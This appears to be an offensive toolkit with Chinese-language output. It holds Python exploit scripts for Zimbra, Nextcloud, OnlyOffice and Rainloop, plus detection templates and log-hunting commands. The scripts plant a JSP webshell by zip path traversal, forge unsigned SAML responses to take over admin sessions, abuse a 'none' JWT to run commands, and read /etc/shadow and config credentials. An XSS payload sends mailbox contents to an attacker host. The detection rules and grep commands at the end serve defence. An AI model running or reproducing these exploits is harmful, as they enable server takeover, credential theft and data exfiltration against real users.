#!/usr/bin/env python3
import zipfile
import io
import requests
import sys
import urllib3
urllib3.disable_warnings()

WEBSHELL = r'''<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) { out.println(line); }
}
%>'''

def create_malicious_zip():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w') as zf:
        zf.writestr(
            '../../../../opt/zimbra/jetty_webapp/zimbra/public/login.jsp',
            WEBSHELL
        )
    return buf.getvalue()

def exploit(target):
    zip_data = create_malicious_zip()
    r = requests.post(
        f'{target}/service/home/~/?auth=qp&fmt=zip',
        data=zip_data,
        headers={'Content-Type': 'application/zip'},
        verify=False,
        timeout=15
    )
    print(f'[*] 上传状态: {r.status_code}')

    shell_url = f'{target}/zimbra/public/login.jsp'
    r2 = requests.get(
        f'{shell_url}?cmd=id',
        verify=False,
        timeout=10
    )
    if 'uid=' in r2.text:
        print(f'[+] WebShell 写入成功！')
        print(f'[+] Shell URL: {shell_url}')
        print(f'[+] 命令输出: {r2.text.strip()}')
    else:
        print('[-] WebShell 未生效')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <target_url>')
        sys.exit(1)
    exploit(sys.argv[1])

id: zimbra-cve-2022-27966-detect

info:
  name: Zimbra CVE-2022-27966 File Write Detection
  author: security-research
  severity: critical
  tags: zimbra,file-write,rce,cve2022
  reference:
    - https://blog.sonarsource.com/zimbra-pre-auth-rce-via-calendar-feature

http:
  - method: GET
    path:
      - "{{BaseURL}}/zimbra/public/login.jsp"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "jsp"
          - "Runtime"
        condition: or

id: zimbra-cve-2022-24682-detect

info:
  name: Zimbra CVE-2022-24682 Deserialization Detection
  author: security-research
  severity: critical
  tags: zimbra,deserialization,rce,cve2022

http:
  - method: GET
    path:
      - "{{BaseURL}}/zimbra/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Zimbra"
        part: body

#!/usr/bin/env python3
import base64
import requests
import sys
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime
urllib3.disable_warnings()

def forge_saml_response(target, target_user):
    now = datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')

    saml_xml = f'''<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
        ID="_forged_response"
        Version="2.0"
        IssueInstant="{now}"
        Destination="{target}/saml/acs">
        <saml:Assertion ID="_forged_assertion" Version="2.0" IssueInstant="{now}">
            <saml:Issuer>https://idp.example.com</saml:Issuer>
            <saml:Subject>
                <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                    {target_user}
                </saml:NameID>
            </saml:Subject>
            <saml:Conditions NotBefore="{now}" NotOnOrAfter="{now}"/>
            <saml:AuthnStatement AuthnInstant="{now}">
                <saml:AuthnContext>
                    <saml:AuthnContextClassRef>
                        urn:oasis:names:tc:SAML:2.0:ac:classes:Password
                    </saml:AuthnContextClassRef>
                </saml:AuthnContext>
            </saml:AuthnStatement>
            <saml:AttributeStatement>
                <saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress">
                    <saml:AttributeValue>{target_user}</saml:AttributeValue>
                </saml:Attribute>
            </saml:AttributeStatement>
        </saml:Assertion>
    </samlp:Response>'''

    encoded = base64.b64encode(saml_xml.encode()).decode()
    return encoded

def exploit(target, admin_email):
    forged = forge_saml_response(target, admin_email)

    r = requests.post(
        f'{target}/saml/acs',
        data={'SAMLResponse': forged},
        verify=False,
        timeout=15,
        allow_redirects=False
    )

    if r.status_code in (302, 303):
        cookies = r.cookies.get_dict()
        print(f'[+] SAML 认证绕过成功！')
        print(f'[+] 会话 Cookie: {cookies}')
        session_cookie = cookies.get('nc_token', cookies.get('oc_token', ''))
        if session_cookie:
            r2 = requests.get(
                f'{target}/ocs/v1.php/cloud/users',
                headers={'OCS-APIREQUEST': 'true'},
                cookies=cookies,
                verify=False,
                timeout=10
            )
            if r2.status_code == 200:
                print(f'[+] 用户列表获取成功')
                print(r2.text[:1000])
    else:
        print(f'[-] 利用失败，状态码: {r.status_code}')

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print(f'Usage: {sys.argv[0]} <nextcloud_url> <admin_email>')
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

id: nextcloud-cve-2023-4819-saml-bypass

info:
  name: Nextcloud CVE-2023-4819 SAML Authentication Bypass
  author: security-research
  severity: critical
  tags: nextcloud,saml,auth-bypass,cve2023
  reference:
    - https://github.com/nextcloud/security-advisories/security/advisories/GHSA-gq9m-v9r4-c8hg

http:
  - method: GET
    path:
      - "{{BaseURL}}/saml/acs"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 405
      - type: word
        words:
          - "Nextcloud"
          - "SAML"
        condition: or

#!/usr/bin/env python3
import json
import base64
import requests
import sys
import urllib3
urllib3.disable_warnings()

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

def forge_jwt_none(header_payload):
    header = b64url_encode(json.dumps(header_payload).encode())
    payload = b64url_encode(json.dumps({}).encode())
    return f'{header}.{payload}.'

def exploit(target, cmd):
    header = {"alg": "none", "typ": "JWT"}
    token = forge_jwt_none(header)

    r = requests.post(
        f'{target}/coauthoring/CommandService.ashx',
        json={
            "c": "version",
            "key": "test",
            "token": token
        },
        headers={'Content-Type': 'application/json'},
        verify=False,
        timeout=10
    )
    print(f'[*] 版本检测: {r.text[:500]}')

    r2 = requests.post(
        f'{target}/coauthoring/CommandService.ashx',
        json={
            "c": "drop",
            "key": "test",
            "token": token,
            "meta": {"command": cmd}
        },
        headers={'Content-Type': 'application/json'},
        verify=False,
        timeout=10
    )
    print(f'[*] 命令执行响应: {r2.text[:500]}')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <onlyoffice_url> [command]')
        sys.exit(1)
    cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami'
    exploit(sys.argv[1], cmd)

id: onlyoffice-cve-2023-47706-jwt-bypass

info:
  name: OnlyOffice CVE-2023-47706 JWT Bypass
  author: security-research
  severity: critical
  tags: onlyoffice,jwt,auth-bypass,cve2023

http:
  - raw:
      - |
        POST /coauthoring/CommandService.ashx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"c":"version","key":"test","token":"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.e30."}
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "version"
          - "error"
        condition: or

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings()

def exploit(target):
    paths = [
        '/?RainLoopAppPath=../../../../../../etc/passwd',
        '/?RainLoopAppPath=../../../../../../etc/shadow',
        '/?RainLoopAppPath=../../data/_data_/_default_/configs/application.ini',
        '/?RainLoopAppPath=../../data/_data_/_default_/domains/default.ini',
    ]

    for path in paths:
        r = requests.get(
            f'{target}{path}',
            verify=False,
            timeout=10
        )
        if r.status_code == 200 and len(r.text) > 0:
            print(f'[+] 路径: {path}')
            print(f'[+] 响应长度: {len(r.text)}')
            if 'root:' in r.text:
                print(f'[+] /etc/passwd 读取成功！')
            if 'password' in r.text.lower() or 'secret' in r.text.lower():
                print(f'[!] 可能包含凭据信息！')
            print(r.text[:500])
            print('---')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f'Usage: {sys.argv[0]} <rainloop_url>')
        sys.exit(1)
    exploit(sys.argv[1])

<img src="x" onerror="
fetch('/?_task=mail&_action=get', {credentials: 'include'})
.then(r => r.text())
.then(d => {
    new Image().src = 'https://ATTACKER_SERVER/steal?data=' + btoa(d);
});
">

# Zimbra WebShell 排查
find /opt/zimbra/jetty_webapp/ -name "*.jsp" -newer /opt/zimbra/conf/localconfig.xml
find /opt/zimbra/ -name "*.war" -mtime -30

# Nextcloud 异常会话排查
grep -r "SAMLResponse" /var/log/nextcloud/
grep -r "NameID" /var/log/nextcloud/ | grep -v "expected_domain"

# OnlyOffice JWT 异常排查
grep "alg.*none" /var/log/onlyoffice/
grep -r "CommandService" /var/log/onlyoffice/ | grep -v "known_token"

# Rainloop 路径穿越排查
grep "RainLoopAppPath" /var/log/nginx/access.log | grep "\.\."
grep "application.ini" /var/log/nginx/access.log

# Roundcube XSS 排查
grep "onerror\|onload\|javascript:" /var/log/roundcube/errors